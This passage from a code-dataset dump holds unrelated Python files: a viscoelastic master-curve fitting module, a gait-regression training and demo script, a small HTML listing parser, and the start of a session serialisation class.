ym\n\n def eval(self, time, temp, time_units='min', disp=0):\n\n if not self._fit:\n self.fit()\n\n if self.wlf_opt is not None:\n wlf = self.wlf_opt\n ref_temp = self.ref_temp\n log_at = -wlf[0]*(temp-ref_temp)/(wlf[1]+temp-ref_temp)\n\n elif self.discrete_shift is not None:\n shift = self.discrete_shift\n xp = sorted(self.discrete_shift.keys())\n yp = [self.discrete_shift[t] for t in xp]\n log_at = np.interp(temp, xp, yp)\n\n time = to_minutes(time, time_units)\n\n fac = 1. if '/min' in self.xunits else -1.\n x = log(time) + fac * log_at\n\n if 'STDV' not in self.dfm:\n disp = 0\n\n y = self.cf.eval(x, fit=self.mc_fit)\n if not disp:\n return y\n\n yp = self.cf.eval(x, fit=self.mc_std_p)\n ym = self.cf.eval(x, fit=self.mc_std_m)\n\n return y, max(abs(yp-y), abs(y-ym))\n\n @classmethod\n def Import(cls, filename, **kwargs):\n root, ext = os.path.splitext(filename)\n if ext.lower() == '.csv':\n return ReadCSV(filename, **kwargs)\n raise TypeError('Unexpected file extension {0!r}'.format(ext))\n\n def Export(self, filename):\n root, ext = os.path.splitext(filename)\n if ext.lower() == '.csv':\n return self.to_csv(filename)\n elif ext.lower() == '.xlsx':\n return self.to_excel(filename)\n raise TypeError('Unexpected file extension {0!r}'.format(ext))\n\n @property\n def abaqus_repr(self):\n if not hasattr(self.cf, 'abaqus_repr'):\n return None\n if not self._fit:\n self.fit()\n return self.cf.abaqus_repr(self.ref_temp, self.wlf_opt, \n self.mc_fit, self.mc_std_p, mc_std_m)\n\n @property\n def description(self):\n if not self._fit:\n self.fit()\n\n s = ''\n s += 'mcgen Version 1.2\\n'\n s += 'Curve Fitter: {0}\\n'.format(self.cf.name)\n s += 'Curve Fitting Information\\n'\n\n # write out the fit info\n line = self.cf.dump_info(self.mc_fit, delimiter=',')\n s += line\n try:\n s += 'Fit Error\\n{0:.6f}\\n'.format(self.fiterr)\n except (ValueError, TypeError):\n pass\n if self.wlf_opt is not None:\n s += joinn(['WLF C1', 'WLF C2'], sep=',')\n s += joinn([self.wlf_opt[0], self.wlf_opt[1]], sep=',', num=True)\n elif self.discrete_shift is not None:\n temps = sorted(self.discrete_shift.keys())\n log_at = [self.discrete_shift[temp] for temp in temps]\n s += joinn(temps, sep=',', num=True)\n s += joinn(log_at, sep=',', num=True)\n\n return s\n #fh.write('Data\\n')\n #self.dfm.to_csv(fh, float_format='%.6f', index=False)\n\nclass _CurveFitter(object):\n \"\"\"CurveFitter base class\"\"\"\n name = None\n key = None\n plot_label = 'Curve fit'\n yvar = None\n def fit_points(self, *args, **kwargs):\n raise NotImplementedError\n def eval(self, *args, **kwargs):\n raise NotImplementedError\n def dump_info(self, *args, **kwargs):\n raise NotImplementedError\n def descriptive_plot_label(self, *args):\n return self.plot_label\n\nclass PronyFit(_CurveFitter):\n name = 'PRONY'\n key = PRONY\n def __init__(self, *args, **kwargs):\n rate = kwargs.get('rate')\n optprony = kwargs.pop('optprony', False)\n self.ndp = kwargs.get('num_series')\n if rate:\n self.plot_label = r'$y_{\\infty}+\\sum_{i=1}^{n} y_i e^{\\dot{\\epsilon}a_T}{\\tau_i}}$'\n else:\n self.plot_label = r'$y_{\\infty}+\\sum_{i=1}^{n} y_i e^{\\frac{t/a_T}{\\tau_i}}$'\n\n def fit_points(self, xp, yp, sigma=None, p0=None, no_weight=None):\n \"\"\"Retuns the best fits for a Prony series\n\n Parameters\n ----------\n xp : ndarray\n x points (log(t/aT))\n yp : ndarray\n y points\n\n Returns\n -------\n fit : ndarray\n (tau_i, Y_i) for Prony series fit (last point is ( ,Y_inf))\n\n Notes\n -----\n Fits\n ---\n \\ -(t/aT) / tau_i\n Y = Y_0 + / Y_i e\n ---\n\n with a least squares fit.\n\n xp should be given in ascending order.\n\n \"\"\"\n n = len(xp)\n mn = np.amin(xp)\n mx = np.amax(xp)\n\n # number of decade points\n ndp = self.ndp or int(mx - mn + 1)\n\n # decades\n nn = ndp + 1\n tau = np.empty(nn)\n tau[:-1] = [BASE ** (round(mn) + i) for i in range(ndp)]\n\n d = np.zeros((n, nn))\n d[:, -1] = 1.\n for i in range(n):\n d[i, :ndp] = np.exp(-BASE ** xp[i] / tau[:ndp])\n\n if no_weight:\n weights = np.eye(yp.shape[0])\n elif sigma is not None:\n weights = np.diag(1./sigma)\n else:\n weights = np.eye(yp.shape[0])\n\n # Initial guess at parameters\n try:\n dtdi = np.linalg.inv(np.dot(d.T, np.dot(weights, d)))\n except np.linalg.LinAlgError:\n raise ValueError('adjust initial WLF coefficients')\n ddd = np.dot(np.dot(dtdi, d.T), weights)\n p0 = np.dot(ddd, yp)\n\n # finish off the optimization.\n #def func(xp, *p):\n # return np.array([self._eval(x, tau, p) for x in xp])\n #fit = curve_fit2(func, xp, yp, p0, sigma)\n #popt, self.p_std_p, self.p_std_m = fit\n #self.popt = np.column_stack((tau, popt))\n #return self.popt, self.p_std_p, self.p_std_m\n\n p_opt = np.column_stack((tau, p0))\n if sigma is None:\n return p_opt, None, None\n\n p1 = np.dot(ddd, yp+sigma)\n p_std_p = np.column_stack((tau, p1))\n\n p2 = np.dot(ddd, yp-sigma)\n p_std_m = np.column_stack((tau, p2))\n\n return p_opt, p_std_p, p_std_m\n\n def _eval(self, x, ti, ci):\n ci = np.asarray(ci)\n s = np.sum(ci[:-1] * np.exp(-x / ti[:-1]))\n return ci[-1] + s\n\n def eval(self, x, fit=None):\n \"\"\"Determine the value on the curve defined by a Prony series at x = t / aT\n\n Parameters\n ----------\n fit : ndarray\n Array returned by fit_points\n\n Returns\n -------\n val : real\n The value of the Prony series at x\n\n \"\"\"\n if fit is None:\n fit = self.popt\n ti, ci = fit[:, 0], fit[:, 1]\n return self._eval(BASE**x, ti, ci)\n\n def dump_info(self, fit, ffmt='.6f', delimiter=','):\n line = []\n ti, ci = fit[:, 0], fit[:, 1]\n line.append(['tau_{0:d}'.format(i+1) for i in range(len(ti)-1)])\n line.append(['{0:{1}}'.format(r, ffmt) for r in ti[:-1]])\n line.append(['y_{0:d}'.format(i+1) for i in range(len(ci)-1)])\n line[-1].append('y_inf')\n line.append(['{0:{1}}'.format(r, ffmt) for r in ci])\n line = joinn(line, sep=delimiter)\n return line\n\n def abaqus_repr(self, tref, wlf, fit, stdv, ffmt='.6f'):\n def write_visco(t, c):\n fac = sum(c)\n string = '*Viscoelastic, time=PRONY\\n'\n for (i, ti) in enumerate(t[:-1]):\n string += ' {0:{2}}, ,{1:{2}}\\n'.format(c[i]/fac, ti, ffmt) \n return string\n\n s = ''\n if wlf is not None:\n c1, c2 = wlf\n s += '*Trs, definition=WLF\\n'\n s += ' {0:{3}}, {1:{3}}, {2:{3}}\\n'.format(tref, c1, c2, ffmt) \n\n s += write_visco(fit[:,0], fit[:,1])\n if stdv is not None:\n raise NotImplementedError\n s += '** - STDV\\n'\n c = fit[:,1] - stdv[:,1]\n s += write_visco(stdv[:,0], fit[:,1]-stdv[:,1])\n s += '** + STDV\\n'\n s += write_visco(stdv[:,0], fit[:,1]+stdv[:,1])\n\n return s\n\n\nclass ModifiedPowerFit1(_CurveFitter):\n name = 'MODIFIED POWER 1'\n key = MODIFIED_POWER_1\n yvar = 'Log[Er]'\n def __init__(self, *args, **kwargs):\n self.rate = kwargs.get('rate')\n self.plot_label = r'$a_1 + a_2 e^{a_3 T_r^{a_4}}$'\n\n def fit_points(self, xp, yp, sigma=None, p0=None, no_weight=None):\n \"\"\"Retuns the best fits for a modified power curve\n\n Parameters\n ----------\n xp : ndarray\n x points (log(t/aT))\n yp : ndarray\n y points\n\n Returns\n -------\n fit : ndarray\n The fit parameters [a1, a2, a3, a4]\n\n Notes\n -----\n Fits\n a4\n a3 Tr\n log[Er] = a1 + a2 e\n\n \"\"\"\n def func(x, a1, a2, a3, a4):\n return (a1 + a2*np.exp(a3*((BASE**x)**a4)))\n if p0 is None:\n p0 = (1, 10, -1, .01)\n fit = curve_fit2(func, xp, yp, p0, sigma, trans_y=log, nw=no_weight)\n self.popt, self.p_std_p, self.p_std_m = fit\n return fit\n\n def eval(self, x, fit=None):\n if fit is None:\n fit = self.popt\n a1, a2, a3, a4 = fit\n return self._eval(x, a1, a2, a3, a4)\n\n @staticmethod\n def _eval(x, a1, a2, a3, a4):\n log_y = a1 + a2 * np.exp(a3 * (BASE**x) ** a4)\n return 10 ** log_y\n\n def dump_info(self, fit, ffmt='.6f', delimiter=','):\n line = []\n line.append(['a1', 'a2', 'a3', 'a4'])\n line.append(['{0:{1}}'.format(r, ffmt) for r in fit])\n line = joinn(line, sep=delimiter)\n return line\n\n def descriptive_plot_label(self, fit):\n a1, a2, a3, a4 = fit\n label = r'$10^{%.2f+%.2fe^{%.2f T_r^{%.2f}}}$'\n return label % (a1, a2, a3, a4)\n\nclass ModifiedPowerFit(_CurveFitter):\n name = 'MODIFIED POWER'\n key = MODIFIED_POWER\n def __init__(self, *args, **kwargs):\n self.rate = kwargs.get('rate')\n if self.rate:\n self.plot_label = r'$y_0 + y_1 \\left(\\frac{t}{a_T}\\right) ^ a$'\n else:\n self.plot_label = r'$y_0 + y_1 \\left(\\dot{\\epsilon}\\cdot a_T\\right)^a$'\n\n def fit_points(self, xp, yp, sigma=None, p0=None, no_weight=None):\n \"\"\"Retuns the best fits for a modified power curve\n\n Parameters\n ----------\n xp : ndarray\n x points (log(t/aT))\n yp : ndarray\n y points\n\n Returns\n -------\n fit : ndarray\n The fit parameters [Ee, E1, a]\n\n Notes\n -----\n Fits\n\n a3\n Er = a1 + a2 (t/aT)\n\n \"\"\"\n def func(x, a1, a2, a3):\n return self._eval(x, a1, a2, a3)\n if p0 is None:\n p0 = (2, 15, -.01)\n fit = curve_fit2(func, xp, yp, p0, sigma, nw=no_weight)\n self.popt, self.p_std_p, self.p_std_m = fit\n return fit\n\n def eval(self, x, fit=None):\n if fit is None:\n fit = self.popt\n Ee, E1, a = fit\n return self._eval(x, Ee, E1, a)\n\n @staticmethod\n def _eval(x, a1, a2, a3):\n return a1 + a2 * (BASE ** x) ** a3\n\n def dump_info(self, fit, ffmt='.6f', delimiter=','):\n line = []\n line.append(['Ee', 'E1', 'a'])\n line.append(['{0:{1}}'.format(r, ffmt) for r in fit])\n line = joinn(line, sep=delimiter)\n return line\n\n def descriptive_plot_label(self, fit):\n E1, E2, a = fit\n if self.rate:\n label = r'$%.2f+%.2f\\left(\\dot{\\epsilon}\\cdot a_T\\right)^{%.2f}$'\n else:\n label = r'$%.2f+%.2f\\left(\\frac{{t}}{{a_T}}\\right)^{%.2f}$'\n return label % (E1,E2,a)\n\nclass PowerFit(_CurveFitter):\n name = 'POWER'\n key = POWER\n plot_label = r'$y_0\\left(\\frac{t}{a_T}\\right) ^ a$'\n def __init__(self, *args, **kwargs):\n pass\n def fit_points(self, xp, yp, sigma=None, p0=None, no_weight=None):\n \"\"\"Retuns the best fits for a power curve\n\n Parameters\n ----------\n xp : ndarray\n x points (log(t/aT))\n yp : ndarray\n y points\n\n Returns\n -------\n fit : ndarray\n The fit parameters [E0, a]\n\n Notes\n -----\n Fits\n\n a2\n Er = a1 (t/aT)\n\n \"\"\"\n def func(x, a1, a2):\n return self._eval(x, a1, a2)\n if p0 is None:\n p0 = (100., -1.)\n fit = curve_fit2(func, xp, yp, p0, sigma, nw=no_weight)\n self.popt, self.p_std_p, self.p_std_m = fit\n return fit\n\n def eval(self, x, fit=None):\n if fit is None:\n fit = self.popt\n a1, a2 = fit\n return self._eval(x, a1, a2)\n\n @staticmethod\n def _eval(x, a1, a2):\n return a1 * (BASE ** x) ** a2\n\n def dump_info(self, fit, ffmt='.6f', delimiter=','):\n line = []\n line.append(['E0', 'a'])\n line.append(['{0:{1}}'.format(r, ffmt) for r in fit])\n line = joinn(line, sep=delimiter)\n return line\n\nclass PolyFit(_CurveFitter):\n name = 'POLYNOMIAL'\n key = POLYNOMIAL\n def __init__(self, *args, **kwargs):\n self.rate = kwargs.get('rate')\n self.order = kwargs.get('order', 2)\n self.p = None\n pass\n @property\n def plot_label(self):\n if self.rate:\n f = r'\\log{\\left(\\dot{\\epsilon}\\cdot a_T\\right)}'\n else:\n f = r'\\log{\\left(\\frac{t}{a_T}\\right)}'\n if self.p is None:\n return r'$c_0 + c_1 %(f)s + ... + c_n %(f)s^n$' % {'f': f}\n np = self.p.shape[0]\n l = ['c_0']\n if np > 1:\n l.append('c_1 %(f)s' % {'f':f})\n if np > 2:\n l.extend([r'\\cdots', r'c_%(n)d %(f)s^%(n)d' % {'f':f, 'n':np-1}])\n return r'${0}$'.format(' + '.join(l))\n def fit_points(self, xp, yp, sigma=None, p0=None, no_weight=None):\n \"\"\"Retuns the best fits for a polynomial curve\n\n Parameters\n ----------\n xp : ndarray\n x points (log(t/aT))\n yp : ndarray\n y points\n\n \"\"\"\n if no_weight:\n w = None\n elif sigma is not None:\n w = 1. / sigma\n else:\n w = None\n self.popt, pcov = np.polyfit(xp, yp, self.order, cov=True, w=w)\n if sigma is None:\n self.p_std_p = self.p_std_m = None\n else:\n self.p_std_p, pc = np.polyfit(xp, yp+sigma, self.order, cov=True)\n self.p_std_m, pc = np.polyfit(xp, yp-sigma, self.order, cov=True)\n return self.popt, self.p_std_p, self.p_std_m\n\n def eval(self, x, fit=None):\n if fit is None:\n fit = self.popt\n return np.poly1d(fit)(x)\n\n def dump_info(self, fit, ffmt='.6f', delimiter=','):\n line = []\n line.append(['p_{0}'.format(i) for i in range(fit.shape[0])])\n line.append(['{0:{1}}'.format(r, ffmt) for r in fit[::-1]])\n line = joinn(line, sep=delimiter)\n return line\n\ndef CurveFitter(key, rate=False):\n \"\"\"Curve Fitter factory method\"\"\"\n fitters = _CurveFitter.__subclasses__()\n for f in fitters:\n if f.key == key:\n break\n else:\n raise ValueError('{0}: unrecognized fitter'.format(key))\n return f\n\nRE = re.compile('[ \\,]')\ndef _split(string, comments, i=0):\n return [x for x in RE.split(string.strip().split(comments,1)[i]) if x.split()]\n\ndef ReadCSV(filename, apply_log=True, ref_temp=75., columns=[0,1,2],\n xvar='Time', xunits='min', yvar='Er', yunits='psi',\n skip_temps=None, xfac=1., yfac=1., comments='#', **kwargs):\n \"\"\"MasterCurve factory method\n\n Parameters\n ----------\n filename : str\n File in which data is found\n\n Returns\n -------\n mc : MasterCurve\n\n Notes\n -----\n Each line of filename must be formatted as\n\n Temperature, x, y\n\n \"\"\"\n fown = False\n try:\n if isinstance(filename, (str,)):\n fown = True\n fh = iter(open(filename))\n else:\n fh = iter(filename)\n except (TypeError):\n message = 'filename must be a string, file handle, or generator'\n raise ValueError(message)\n\n data = []\n try:\n for (i, line) in enumerate(fh.readlines()):\n line = _split(line, comments)\n if not line:\n continue\n try:\n line = [float(x) for x in line]\n except ValueError:\n raise ValueError('expected floates in line{0} '\n 'got {1}'.format(i+1, line))\n data.append(line)\n finally:\n if fown:\n fh.close()\n\n data = np.array(data)[:,columns]\n data = np.asarray(sorted(data, key=lambda x: (x[0], x[1])))\n return MasterCurve(data, ref_temp=ref_temp, apply_log=apply_log,\n skip_temps=skip_temps, xfac=xfac, yfac=yfac,\n xvar=xvar, xunits=xunits, yvar=yvar, yunits=yunits,\n **kwargs)\n\ndef mc_init_notebook(plot_lib='bokeh', i=1):\n lib = plot_lib.lower()\n if lib == 'bokeh':\n if bp is None:\n raise ImportError('bokeh')\n if i:\n from bokeh.io import output_notebook\n output_notebook()\n environ.notebook = 2\n elif lib == 'matplotlib':\n if plt is None:\n raise ImportError('matplotlib')\n plt.rcParams['figure.figsize'] = (15, 12)\n plt.rcParams['font.family'] = 'serif'\n plt.rcParams['font.size'] = 20\n plt.rcParams['font.serif'] = 'Times New Roman'\n plt.rcParams['legend.scatterpoints'] = 1\n plt.rcParams['legend.handlelength'] = 0\n environ.notebook = 1\n else:\n raise ValueError('expected bokeh or matplotlib, got {0!r}'.format(plot_lib))\n\ndef is_stringlike(s):\n try:\n s + ''\n return True\n except (TypeError, ValueError):\n return False\n\ndef is_listlike(a):\n if is_stringlike(a):\n return False\n try:\n len(a)\n return True\n except TypeError:\n return False\n\ndef to_minutes(time, units):\n \"\"\"Convert time time to minutes\"\"\"\n if is_listlike(time):\n r = range(len(time))\n if not is_listlike(units):\n units = [units] * len(time)\n return np.array([to_minutes(time[i], units[i]) for i in r])\n time = float(time)\n u = units.lower()[:3]\n if u == \"sec\":\n time = time / 60.\n elif u == \"min\":\n time = time\n elif u == \"hou\":\n time = time * 60.\n elif u == \"day\":\n time = time * 24. * 60.\n elif u == \"wee\":\n time = time * 7. * 24. * 60.\n elif u == \"mon\":\n time = time * 30. * 24. * 60.\n elif u == \"yea\":\n time = time * 365. * 24. * 60.\n elif u == \"her\":\n time = .25 / time / 60.\n return time\n\ndef cnvtime(time, units, outunits=\"min\"):\n if is_listlike(time):\n if not is_listlike(units):\n units = [units] * len(time)\n r = range(len(time))\n return [cnvtime(time[i], units[i], outunits=outunits) for i in r]\n # convert all to minutes for now\n time = to_minutes(time, units)\n ou = outunits.lower()[:3]\n if ou == \"min\":\n return time\n elif ou == \"sec\":\n return time * 60.\n elif ou == \"hou\":\n return time / 60.\n elif ou == \"day\":\n return time / 24. / 60.\n elif ou == \"wee\":\n return time / 7. / 24. / 60.\n elif ou == \"mon\":\n return time / 30. / 24. / 60.\n elif ou == \"yea\":\n return time / 365. / 24. / 60.\n elif ou == \"her\":\n return .25 * time * 60.\n\ndef tolatex(f):\n import re\n if abs(f) < 5000:\n return '%.2f'%f\n\n s = '{0:.2e}'.format(f)\n x = re.split('e[+-]', s)\n return r'%s\\times 10^{%s}'%(x[0], x[1])\n\ndef test_1():\n test_data = StringIO(\"\"\"\\\n# Each line shall be as\n# Temperature, Time, Value\n0.0000, 0.0100, 4857.0000\n0.0000, 0.0316, 3444.0000\n0.0000, 0.1000, 2489.0000\n0.0000, 0.3162, 1815.0000\n0.0000, 1.0000, 1375.0000\n0.0000, 3.1623, 1067.0000\n0.0000, 10.0000, 852.0000\n0.0000, 16.5959, 774.0000\n20.0000, 0.0100, 3292.0000\n20.0000, 0.0316, 2353.0000\n20.0000, 0.1000, 1730.0000\n20.0000, 0.3162, 1284.0000\n20.0000, 1.0000, 970.0000\n20.0000, 3.1623, 746.0000\n20.0000, 10.0000, 577.0000\n20.0000, 16.5959, 505.0000\n40.0000, 0.0100, 2159.0000\n40.0000, 0.0316, 1592.0000\n40.0000, 0.1000, 1179.0000\n40.0000, 0.3162, 920.0000\n40.0000, 1.0000, 733.0000\n40.0000, 3.1623, 585.0000\n40.0000, 10.0000, 484.0000\n40.0000, 16.5959, 449.0000\n75.0000, 0.0100, 1287.0000\n75.0000, 0.0316, 985.0000\n75.0000, 0.1000, 767.0000\n75.0000, 0.3162, 616.0000\n75.0000, 1.0000, 498.0000\n75.0000, 3.1623, 410.0000\n75.0000, 10.0000, 333.0000\n75.0000, 16.5959, 311.0000\n100.0000, 0.0100, 1123.0000\n100.0000, 0.0316, 881.0000\n100.0000, 0.1000, 708.0000\n100.0000, 0.3162, 573.0000\n100.0000, 1.0000, 471.0000\n100.0000, 3.1623, 399.0000\n100.0000, 10.0000, 341.0000\n100.0000, 16.5959, 316.0000\n130.0000, 0.0100, 810.0000\n130.0000, 0.0316, 646.0000\n130.0000, 0.1000, 523.0000\n130.0000, 0.3162, 432.0000\n130.0000, 1.0000, 364.0000\n130.0000, 3.1623, 313.0000\n130.0000, 10.0000, 271.0000\n130.0000, 16.5959, 254.0000\"\"\")\n\n # Baseline solution\n c = np.array([3.292, 181.82])\n p = np.array([[.0001, 2489],\n [.001, 1482],\n [.01, 803],\n [.1, 402],\n [1, 207],\n [10, 124],\n [100, 101],\n [0, 222]], dtype=np.float64)\n mc = ReadCSV(test_data, ref_temp=75., apply_log=True,\n fitter=PRONY, optcoeffs=False)\n s1 = 'WLF coefficients not within tolerance'\n mc.fit()\n assert np.allclose(mc.wlf_opt, c, rtol=1.e-3, atol=1.e-3), s1\n s2 = 'Prony series not within tolerance'\n assert np.allclose(mc.mc_fit[:, 1], p[:, 1], rtol=1.e-2, atol=1.e-2), s2\n mc.fit(optimize=True)\n print('Success')\n","sub_path":"Library/Python/local-packages/mcgen.py","file_name":"mcgen.py","file_ext":"py","file_size_in_byte":50782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"310977004","text":"from torch import nn\nimport os\nimport time\nimport sklearn\nimport datasets.gaitregression\nfrom utils.parallel import DataParallelCriterion\nimport visdom\nfrom visualdl import LogWriter\nfrom opts import parse_opts\nfrom utils.generate_model import init_state, load_trained_ckpt\nfrom utils.transforms import (\n Compose, ToTensor, MultiScaleRandomCrop, MultiScaleCornerCrop, Normalize,\n TemporalRandomCrop, TemporalCenterCrop, LoopPadding)\nfrom utils.train_utils import Trainer, Logger\nfrom utils.testing_utils import Tester\nfrom utils.target_columns import (\n get_target_columns, get_target_columns_by_group)\nimport utils.visualization as viz\nfrom utils.mean import get_mean, get_std\nfrom utils.preprocessing import (\n PatientLocalizer,\n COPAnalyizer,\n HumanScaleAnalyizer,\n Worker,\n)\nimport torch.nn.functional as F\nimport torchvision.transforms as TF\nfrom preprocess.darknet.python.extract_bbox import set_gpu\n\nif __name__ == \"__main__\":\n import multiprocessing\n multiprocessing.set_start_method('spawn', True)\n\n opt = parse_opts()\n\n # attention indicator\n opt.attention_str = 'Attentive' if opt.attention else 'NonAttentive'\n opt.group_str = f\"G{opt.n_groups}\" if opt.n_groups > 0 else ''\n\n target_columns = get_target_columns(opt)\n\n # define regression model\n net, criterion1, criterion2, optimizer, scheduler = init_state(opt)\n\n opt.arch = \"{}-{}\".format(opt.backbone, opt.model_depth)\n opt.mean = get_mean(opt.norm_value, dataset=opt.mean_dataset)\n opt.std = get_std(opt.norm_value, dataset=opt.mean_dataset)\n\n if opt.no_mean_norm and not opt.std_norm:\n norm_method = Normalize([0, 0, 0], [1, 1, 1])\n else:\n norm_method = Normalize(opt.mean, opt.std)\n\n if opt.train_crop == \"random\":\n crop_method = MultiScaleRandomCrop(opt.scales, opt.sample_size)\n elif opt.train_crop == \"corner\":\n crop_method = MultiScaleCornerCrop(opt.scales, opt.sample_size)\n elif opt.train_crop == \"center\":\n crop_method = MultiScaleCornerCrop(\n opt.scales, opt.sample_size, crop_positions=[\"c\"]\n )\n\n spatial_transform = {\n \"train\": Compose(\n [\n TF.RandomRotation(degrees=(-15, 15)),\n TF.RandomResizedCrop(size=opt.sample_size,\n scale=(opt.sample_size/opt.img_size, 1.0)),\n ToTensor(opt.norm_value),\n norm_method,\n ]\n ),\n \"test\": Compose(\n [\n TF.CenterCrop(opt.sample_size),\n ToTensor(opt.norm_value),\n norm_method,\n ]\n ),\n }\n\n temporal_transform = {\n \"train\": None, # TemporalRandomCrop(opt.sample_duration),\n \"test\": None, # TemporalCenterCrop(opt.sample_duration),\n }\n\n # target transform\n target_transform = sklearn.preprocessing.QuantileTransformer(\n random_state=0, output_distribution=\"normal\"\n )\n\n model_indicator = '_'.join(filter(lambda x: x != '', [opt.attention_str,\n opt.model_arch,\n opt.merge_type,\n opt.arch,\n opt.group_str]))\n\n # result log path\n logpath = os.path.join(opt.log_dir, model_indicator,\n opt.mode)\n\n opt.logpath = logpath\n\n plotter = viz.VisdomPlotter(env_name=model_indicator)\n\n if opt.dataset == \"Gaitparams_PD\":\n # prepare dataset (train/test split)\n data = datasets.gaitregression.prepare_dataset(\n input_file=opt.input_file,\n target_file=opt.target_file,\n target_columns=target_columns,\n chunk_parts=opt.chunk_parts,\n target_transform=target_transform,\n )\n\n if opt.with_segmentation:\n ds_class = datasets.gaitregression.GAITSegRegDataset\n else:\n ds_class = datasets.gaitregression.GAITDataset\n\n train_ds = ds_class(\n X=data[\"train_X\"], y=data[\"train_y\"], opt=opt, phase='test',\n )\n\n test_ds = ds_class(\n X=data[\"test_X\"], y=data[\"test_y\"], opt=opt, phase='test',\n )\n\n dataloader_generator = (\n datasets.gaitregression.generate_dataloader_for_crossvalidation\n )\n\n else:\n NotImplementedError(\"Does not support other datasets until now..\")\n\n if opt.mode == \"train\":\n trainer = Trainer(\n model=net,\n criterion1=criterion1, criterion2=criterion2,\n optimizer=optimizer,\n scheduler=scheduler,\n opt=opt,\n spatial_transform=spatial_transform,\n temporal_transform=temporal_transform,\n target_transform=target_transform,\n )\n\n trainer.fit(\n ds=train_ds, dataloader_generator=dataloader_generator,\n ds_class=ds_class,\n plotter=plotter)\n\n elif opt.mode == \"test\":\n net = load_trained_ckpt(opt, net)\n\n tester = Tester(\n model=net,\n opt=opt,\n score_func=sklearn.metrics.r2_score,\n spatial_transform=spatial_transform[opt.mode],\n temporal_transform=temporal_transform[opt.mode],\n target_transform=target_transform,\n )\n\n y_true, y_pred = tester.fit(\n ds=train_ds, plotter=plotter, criterion=criterion2)\n\n # visualize\n viz.scatterplots(target_columns, y_true, y_pred, save_dir=\"./tmp\")\n\n for group, grid_size, fig_size in zip(\n [\"temporal\", \"spatial\", \"etc\"],\n [(4, 2), (2, 2), (2, 2)],\n [(20, 20), (20, 11), (20, 11)],\n ):\n group_cols = get_target_columns_by_group(group)\n viz.dist_plots(\n target_columns,\n group_cols,\n y_true,\n y_pred,\n save_dir=\"./tmp\",\n grid_size=grid_size,\n figsize=fig_size,\n group=group,\n )\n viz.margin_plots(\n target_columns,\n group_cols,\n y_true,\n y_pred,\n save_dir=\"./tmp\",\n grid_size=grid_size,\n figsize=fig_size,\n group=group,\n )\n\n elif opt.mode == \"demo\":\n from demo import app as flask_app\n # patient localizer & interval selector\n set_gpu(opt.device_yolo)\n\n localizer = PatientLocalizer(darknet_api_home=opt.darknet_api_home)\n\n interval_selector = None\n if opt.interval_sel == \"COP\":\n interval_selector = COPAnalyizer(opt.meta_home, opt.fps)\n elif opt.interval_sel == \"Scale\":\n interval_selector = HumanScaleAnalyizer(opt)\n\n worker = Worker(localizer, interval_selector, opt)\n\n # set runner\n flask_app.set_runner(\n opt,\n net,\n localizer,\n interval_selector,\n worker,\n spatial_transform,\n target_transform,\n target_columns,\n )\n\n # run flask server\n print(\"Demo server is waiting for you...\")\n flask_app.app.run(host=\"0.0.0.0\", port=opt.port)\n","sub_path":"src/dev/.history/main_20191024163252.py","file_name":"main_20191024163252.py","file_ext":"py","file_size_in_byte":7335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"213440552","text":"# -*- coding:utf-8 -*-\nfrom __future__ import unicode_literals\n\nimport re\n\nimport tablib\nfrom helpers import yield_filepath\nfrom pyquery import PyQuery as pq\n\nSRC = './html'\n\n\ndef _write_result(datas, dst):\n dataset = tablib.Dataset()\n for i in datas:\n dataset.append(i.values())\n dataset.headers = datas[0].keys()\n\n with open('result.tsv', 'wb') as o:\n o.write(dataset.tsv.encode('utf-8'))\n\n\ndef _parse_int(text):\n return int(''.join(re.findall('\\d', text)))\n\n\ndef _get_href_and_text(dc):\n x = dc('.titlerow > a')\n return x[0].get('href'), x.text()\n\n\ndef _get_desc(dc):\n return dc('.md').text()\n\n\ndef _get_subscribers_count(dc):\n text = dc('.tagline .number')[0].text_content()\n return _parse_int(text)\n\n\ndef parse_data(html):\n d = pq(html)\n entries = d('div.entry')\n\n l = []\n for entry in entries:\n dc = pq(entry)\n href, text = _get_href_and_text(dc)\n desc = _get_desc(dc)\n subscribers_count = _get_subscribers_count(dc)\n\n l.append(dict(href=href, text=text, desc=desc,\n subscribers_count=subscribers_count))\n return l\n\n\ndef main(dst):\n datas = []\n for n, fp in enumerate(yield_filepath(SRC)):\n with open(fp, 'r') as f:\n html = f.read()\n data = parse_data(html)\n datas += data\n print(n)\n\n datas = sorted(datas, key=lambda x: x['subscribers_count'], reverse=True)\n _write_result(datas, dst)\n","sub_path":"html_parser.py","file_name":"html_parser.py","file_ext":"py","file_size_in_byte":1458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"240292349","text":"\nimport json\nimport sys\n\nclass Transcoder( object ):\n\n def __hex( self, number ):\n\n return hex( number ).replace( \"0x\", \"\" )\n\n def __encodeNum( self, num, data, maxBytes ):\n\n result = self.__hex( num )\n zeroNum = ( maxBytes * 2 ) - len( result )\n\n for i in range( zeroNum ):\n\n result = \"0\" + result\n\n for i in range( len( result ) ):\n\n index = i * 2\n\n if index >= len( result ):\n\n break\n\n data.append( int( result[index:index+2] , 16 ) )\n\n def __decodeNum( self, data, beginIndex, numBytes ):\n\n result = \"\"\n\n for i in range( numBytes ):\n\n numStr = self.__hex( data[beginIndex + i] )\n\n if len( numStr ) == 1:\n\n numStr = \"0\"+numStr\n\n result += numStr\n\n return int( result , 16 )\n\n def __encodeBoolean( self, value, data ):\n\n if value:\n\n data.append( 49 )\n\n else:\n\n data.append( 48 )\n\n def __decodeBoolean( self, data, index ):\n\n return data[index] == 49\n\n def __encodeString( self, string ):\n\n data = list(map( ord, string ))\n\n return {\"length\": len(data),\"data\":data}\n\n def __decodeString( self, data, beginIndex, length ):\n\n #result = [0] * ( length - beginIndex ) + data[beginIndex:beginIndex+length]\n result = data[beginIndex:beginIndex+length]\n return ''.join( map( chr, result ) )\n #return ''.join( map( chr, data ) )\n\n def __pushAll( self, arr1, arr2 ):\n\n for i in arr2:\n\n arr1.append( i )\n\n def serialize( self, sessionObj ):\n\n bytes_ = []\n\n self.__encodeNum( sessionObj.get( \"version\" ), bytes_, 2 )\n self.__encodeNum( sessionObj.get( \"sessionFieldsDataLength\") , bytes_, 2 )\n self.__encodeNum( sessionObj.get( \"creationTime\" ) , bytes_, 8 )\n self.__encodeNum( sessionObj.get( \"lastAccessedTime\" ) , bytes_, 8 )\n self.__encodeNum( sessionObj.get( \"maxInactive\" ) , bytes_, 4 )\n 